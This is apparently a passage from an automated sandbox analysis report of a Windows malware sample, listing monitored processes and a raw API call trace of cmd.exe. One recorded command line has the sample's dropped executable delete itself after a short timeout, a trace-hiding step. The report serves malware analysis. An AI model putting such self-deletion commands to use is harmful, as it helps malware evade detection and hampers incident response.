Thread: id = 199 os_tid = 0x780 Thread: id = 200 os_tid = 0xb1c Thread: id = 201 os_tid = 0x5dc Thread: id = 202 os_tid = 0x31c Thread: id = 211 os_tid = 0x664 Thread: id = 212 os_tid = 0x240 Thread: id = 219 os_tid = 0x5d8 Thread: id = 220 os_tid = 0x518 Process: id = "8" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0xc8e5000" os_pid = "0xdfc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x364" cmd_line = "taskeng.exe {9DBBD54A-D026-49EC-953D-E369EC42E40A} S-1-5-18:NT AUTHORITY\\System:Service:" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d5fc" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 104 os_tid = 0xe00 Thread: id = 105 os_tid = 0xe04 Thread: id = 106 os_tid = 0xe08 Thread: id = 107 os_tid = 0xe0c Thread: id = 108 os_tid = 0xe10 Thread: id = 112 os_tid = 0xe14 Thread: id = 113 os_tid = 0xe18 Thread: id = 114 os_tid = 0xe1c Process: id = "9" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x7b248000" os_pid = "0xe24" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x364" cmd_line = "taskeng.exe {43803687-68E3-4DE4-B6BD-36042DBEA247} S-1-5-21-2345716840-1148442690-1481144037-1000:YKYD69Q\\aETAdzjz:Interactive:LUA[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 109 os_tid = 0xe28 Thread: id = 110 os_tid = 0xe2c Thread: id = 111 os_tid = 0xe30 Thread: id = 115 os_tid = 0xe44 Thread: id = 116 os_tid = 0xe48 Thread: id = 117 os_tid = 0xe4c Thread: id = 118 os_tid = 0xe50 Thread: id = 119 os_tid = 0xe5c Process: id = "10" image_name = "officec2rclient.exe" filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe" page_root = "0x79b14000" os_pid = "0xe34" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0xdfc" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /update SCHEDULEDTASK displaylevel=False" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d5fc" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 120 os_tid = 0xe38 Thread: id = 157 os_tid = 0xf24 Thread: id = 159 os_tid = 0xf2c Thread: id = 161 os_tid = 0xf34 Thread: id = 163 os_tid = 0xf3c Thread: id = 164 os_tid = 0xf40 Thread: id = 167 os_tid = 0xf4c Thread: id = 171 os_tid = 0xf5c Thread: id = 172 os_tid = 0xf60 Thread: id = 173 os_tid = 0xf64 Thread: id = 174 os_tid = 0xf68 Thread: id = 179 os_tid = 0xf7c Thread: id = 184 os_tid = 0xf98 Thread: id = 191 os_tid = 0xfec Thread: id = 192 os_tid = 0xff0 Process: id = "11" image_name = "officec2rclient.exe" filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe" page_root = "0x75c09000" os_pid = "0xe3c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0xdfc" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /WatchService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d5fc" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 121 os_tid = 0xe40 Thread: id = 158 os_tid = 0xf28 Thread: id = 160 os_tid = 0xf30 Thread: id = 162 os_tid = 0xf38 Thread: id = 165 os_tid = 0xf44 Thread: id = 166 os_tid = 0xf48 Thread: id = 168 os_tid = 0xf50 Thread: id = 169 os_tid = 0xf54 Thread: id = 170 os_tid = 0xf58 Thread: id = 175 os_tid = 0xf6c Thread: id = 176 os_tid = 0xf74 Thread: id = 182 os_tid = 0xf8c Thread: id = 185 os_tid = 0xfac Thread: id = 187 os_tid = 0xfbc Thread: id = 190 os_tid = 0xfe8 Thread: id = 193 os_tid = 0xff4 Process: id = "12" image_name = "msoia.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\msoia.exe" page_root = "0x75213000" os_pid = "0xe54" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0xe24" cmd_line = "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe\" scan upload mininterval:2880" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 122 os_tid = 0xe58 Thread: id = 128 os_tid = 0xea8 Thread: id = 129 os_tid = 0xeac Thread: id = 132 os_tid = 0xeb8 Thread: id = 134 os_tid = 0xec0 Thread: id = 136 os_tid = 0xec8 Thread: id = 137 os_tid = 0xecc Thread: id = 138 os_tid = 0xed0 Thread: id = 140 os_tid = 0xed8 Thread: id = 141 os_tid = 0xedc Thread: id = 147 os_tid = 0xef4 Thread: id = 148 os_tid = 0xef8 Thread: id = 149 os_tid = 0xefc Thread: id = 151 os_tid = 0xf04 Thread: id = 153 os_tid = 0xf0c Thread: id = 154 os_tid = 0xf10 Process: id = "13" image_name = "msoia.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\msoia.exe" page_root = "0x7662b000" os_pid = "0xe60" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0xe24" cmd_line = "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe\" scan upload" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 123 os_tid = 0xe64 Thread: id = 127 os_tid = 0xea4 Thread: id = 130 os_tid = 0xeb0 Thread: id = 131 os_tid = 0xeb4 Thread: id = 133 os_tid = 0xebc Thread: id = 135 os_tid = 0xec4 Thread: id = 139 os_tid = 0xed4 Thread: id = 142 os_tid = 0xee0 Thread: id = 143 os_tid = 0xee4 Thread: id = 144 os_tid = 0xee8 Thread: id = 145 os_tid = 0xeec Thread: id = 146 os_tid = 0xef0 Thread: id = 150 os_tid = 0xf00 Thread: id = 152 os_tid = 0xf08 Thread: id = 155 os_tid = 0xf14 Thread: id = 156 os_tid = 0xf18 Process: id = "14" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x1699000" os_pid = "0xe78" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xd78" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\" /c C:\\Windows\\system32\\timeout.exe 3 & del \"fghvhghvgfdgfhchfg.exe\"" cur_dir = "C:\\Users\\aETAdzjz\\AppData\\Roaming\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 125 os_tid = 0xe7c [0171.795] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x30f7dc | out: lpSystemTimeAsFileTime=0x30f7dc*(dwLowDateTime=0xa855e3c0, dwHighDateTime=0x1d6b6fb)) [0171.795] GetCurrentProcessId () returned 0xe78 [0171.795] GetCurrentThreadId () returned 0xe7c [0171.795] GetTickCount () returned 0x115d1d0 [0171.795] QueryPerformanceCounter (in: lpPerformanceCount=0x30f7d4 | out: lpPerformanceCount=0x30f7d4*=25002828039) returned 1 [0171.796] GetModuleHandleA (lpModuleName=0x0) returned 0x49e70000 [0171.797] __set_app_type (_Type=0x1) [0171.797] __p__fmode () returned 0x759831f4 [0171.801] __p__commode () returned 0x759831fc [0171.801] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49e921a6) returned 0x0 [0171.801] __getmainargs (in: _Argc=0x49e94238, _Argv=0x49e94240, _Env=0x49e9423c, _DoWildCard=0, _StartInfo=0x49e94140 | out: _Argc=0x49e94238, _Argv=0x49e94240, _Env=0x49e9423c) returned 0 [0171.801] GetCurrentThreadId () returned 0xe7c [0171.801] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xe7c) returned 0x60 [0171.801] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75b90000 [0171.802] GetProcAddress (hModule=0x75b90000, lpProcName="SetThreadUILanguage") returned 0x75bba84f [0171.802] SetThreadUILanguage (LangId=0x0) returned 0x409 [0171.802] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0171.802] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f76c | out: phkResult=0x30f76c*=0x0) returned 0x2 [0171.802] VirtualQuery (in: lpAddress=0x30f7a3, lpBuffer=0x30f73c, dwLength=0x1c | out: lpBuffer=0x30f73c*(BaseAddress=0x30f000, AllocationBase=0x210000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0171.802] VirtualQuery (in: lpAddress=0x210000, lpBuffer=0x30f73c, dwLength=0x1c | out: lpBuffer=0x30f73c*(BaseAddress=0x210000, AllocationBase=0x210000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0171.802] VirtualQuery (in: lpAddress=0x211000, lpBuffer=0x30f73c, dwLength=0x1c | out: lpBuffer=0x30f73c*(BaseAddress=0x211000, AllocationBase=0x210000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0171.802] VirtualQuery (in: lpAddress=0x213000, lpBuffer=0x30f73c, dwLength=0x1c | out: lpBuffer=0x30f73c*(BaseAddress=0x213000, AllocationBase=0x210000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0171.802] VirtualQuery (in: lpAddress=0x310000, lpBuffer=0x30f73c, dwLength=0x1c | out: lpBuffer=0x30f73c*(BaseAddress=0x310000, AllocationBase=0x310000, AllocationProtect=0x4, RegionSize=0x13000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0171.802] GetConsoleOutputCP () returned 0x1b5 [0171.803] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e94260 | out: lpCPInfo=0x49e94260) returned 1 [0171.803] SetConsoleCtrlHandler (HandlerRoutine=0x49e8e72a, Add=1) returned 1 [0171.803] _get_osfhandle (_FileHandle=1) returned 0x7 [0171.803] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0171.803] _get_osfhandle (_FileHandle=1) returned 0x7 [0171.803] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49e941ac | out: lpMode=0x49e941ac) returned 1 [0171.803] _get_osfhandle (_FileHandle=1) returned 0x7 [0171.803] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0171.804] _get_osfhandle (_FileHandle=0) returned 0x3 [0171.804] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e941b0 | out: lpMode=0x49e941b0) returned 1 [0171.805] _get_osfhandle (_FileHandle=0) returned 0x3 [0171.805] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0171.805] GetEnvironmentStringsW () returned 0x3224f8* [0171.806] GetProcessHeap () returned 0x310000 [0171.806] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xbdc) returned 0x3230e0 [0171.806] FreeEnvironmentStringsW (penv=0x3224f8) returned 1 [0171.806] GetProcessHeap () returned 0x310000 [0171.806] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x4) returned 0x321bd8 [0171.806] GetEnvironmentStringsW () returned 0x3224f8* [0171.806] GetProcessHeap () returned 0x310000 [0171.806] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xbdc) returned 0x323cc8 [0171.806] FreeEnvironmentStringsW (penv=0x3224f8) returned 1 [0171.806] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30e6dc | out: phkResult=0x30e6dc*=0x68) returned 0x0 [0171.806] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30e6e4, lpData=0x30e6e8, lpcbData=0x30e6e0*=0x1000 | out: lpType=0x30e6e4*=0x0, lpData=0x30e6e8*=0x0, lpcbData=0x30e6e0*=0x1000) returned 0x2 [0171.806] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30e6e4, lpData=0x30e6e8, lpcbData=0x30e6e0*=0x1000 | out: lpType=0x30e6e4*=0x4, lpData=0x30e6e8*=0x1, lpcbData=0x30e6e0*=0x4) returned 0x0 [0171.806] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30e6e4, lpData=0x30e6e8, lpcbData=0x30e6e0*=0x1000 | out: lpType=0x30e6e4*=0x0, lpData=0x30e6e8*=0x1, lpcbData=0x30e6e0*=0x1000) returned 0x2 [0171.806] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30e6e4, lpData=0x30e6e8, lpcbData=0x30e6e0*=0x1000 | out: lpType=0x30e6e4*=0x4, lpData=0x30e6e8*=0x0, lpcbData=0x30e6e0*=0x4) returned 0x0 [0171.806] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30e6e4, lpData=0x30e6e8, lpcbData=0x30e6e0*=0x1000 | out: lpType=0x30e6e4*=0x4, lpData=0x30e6e8*=0x40, lpcbData=0x30e6e0*=0x4) returned 0x0 [0171.806] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30e6e4, lpData=0x30e6e8, lpcbData=0x30e6e0*=0x1000 | out: lpType=0x30e6e4*=0x4, lpData=0x30e6e8*=0x40, lpcbData=0x30e6e0*=0x4) returned 0x0 [0171.806] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30e6e4, lpData=0x30e6e8, lpcbData=0x30e6e0*=0x1000 | out: lpType=0x30e6e4*=0x0, lpData=0x30e6e8*=0x40, lpcbData=0x30e6e0*=0x1000) returned 0x2 [0171.806] RegCloseKey (hKey=0x68) returned 0x0 [0171.807] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30e6dc | out: phkResult=0x30e6dc*=0x68) returned 0x0 [0171.807] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30e6e4, lpData=0x30e6e8, lpcbData=0x30e6e0*=0x1000 | out: lpType=0x30e6e4*=0x0, lpData=0x30e6e8*=0x40, lpcbData=0x30e6e0*=0x1000) returned 0x2 [0171.807] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30e6e4, lpData=0x30e6e8, lpcbData=0x30e6e0*=0x1000 | out: lpType=0x30e6e4*=0x4, lpData=0x30e6e8*=0x1, lpcbData=0x30e6e0*=0x4) returned 0x0 [0171.807] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30e6e4, lpData=0x30e6e8, lpcbData=0x30e6e0*=0x1000 | out: lpType=0x30e6e4*=0x0, lpData=0x30e6e8*=0x1, lpcbData=0x30e6e0*=0x1000) returned 0x2 [0171.807] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30e6e4, lpData=0x30e6e8, lpcbData=0x30e6e0*=0x1000 | out: lpType=0x30e6e4*=0x4, lpData=0x30e6e8*=0x0, lpcbData=0x30e6e0*=0x4) returned 0x0 [0171.807] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30e6e4, lpData=0x30e6e8, lpcbData=0x30e6e0*=0x1000 | out: lpType=0x30e6e4*=0x4, lpData=0x30e6e8*=0x9, lpcbData=0x30e6e0*=0x4) returned 0x0 [0171.807] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30e6e4, lpData=0x30e6e8, lpcbData=0x30e6e0*=0x1000 | out: lpType=0x30e6e4*=0x4, lpData=0x30e6e8*=0x9, lpcbData=0x30e6e0*=0x4) returned 0x0 [0171.807] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30e6e4, lpData=0x30e6e8, lpcbData=0x30e6e0*=0x1000 | out: lpType=0x30e6e4*=0x0, lpData=0x30e6e8*=0x9, lpcbData=0x30e6e0*=0x1000) returned 0x2 [0171.807] RegCloseKey (hKey=0x68) returned 0x0 [0171.807] time (in: timer=0x0 | out: timer=0x0) returned 0x5fa9e41f [0171.807] srand (_Seed=0x5fa9e41f) [0171.807] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\" /c C:\\Windows\\system32\\timeout.exe 3 & del \"fghvhghvgfdgfhchfg.exe\"" [0171.807] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\" /c C:\\Windows\\system32\\timeout.exe 3 & del \"fghvhghvgfdgfhchfg.exe\"" [0171.809] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e95260 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0171.809] GetProcessHeap () returned 0x310000 [0171.809] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x210) returned 0x3248b0 [0171.809] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3248b8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0171.810] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49ea0640, nSize=0x2000 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0xee [0171.810] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49ea0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0171.810] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49ea0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0171.810] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0171.810] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0171.810] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0171.810] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0171.810] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0171.810] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0171.810] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0171.810] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0171.810] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0171.811] GetProcessHeap () returned 0x310000 [0171.811] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3230e0 | out: hHeap=0x310000) returned 1 [0171.811] GetEnvironmentStringsW () returned 0x3224f8* [0171.811] GetProcessHeap () returned 0x310000 [0171.811] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xbf4) returned 0x3256c8 [0171.811] FreeEnvironmentStringsW (penv=0x3224f8) returned 1 [0171.811] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49ea0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0171.811] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49ea0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0171.811] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0171.811] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0171.811] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0171.811] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0171.811] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0171.811] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0171.811] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0171.811] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0171.811] GetProcessHeap () returned 0x310000 [0171.811] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x4c) returned 0x3107f0 [0171.811] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x30f4a8 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0171.811] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming", nBufferLength=0x104, lpBuffer=0x30f4a8, lpFilePart=0x30f4a4 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming", lpFilePart=0x30f4a4*="Roaming") returned 0x21 [0171.811] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming")) returned 0x2010 [0171.812] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x30f224 | out: lpFindFileData=0x30f224*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2329edc0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2329edc0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x322378 [0171.812] FindClose (in: hFindFile=0x322378 | out: hFindFile=0x322378) returned 1 [0171.812] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x30f224 | out: lpFindFileData=0x30f224*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aETAdzjz", cAlternateFileName="")) returned 0x322378 [0171.812] FindClose (in: hFindFile=0x322378 | out: hFindFile=0x322378) returned 1 [0171.812] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData", lpFindFileData=0x30f224 | out: lpFindFileData=0x30f224*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, 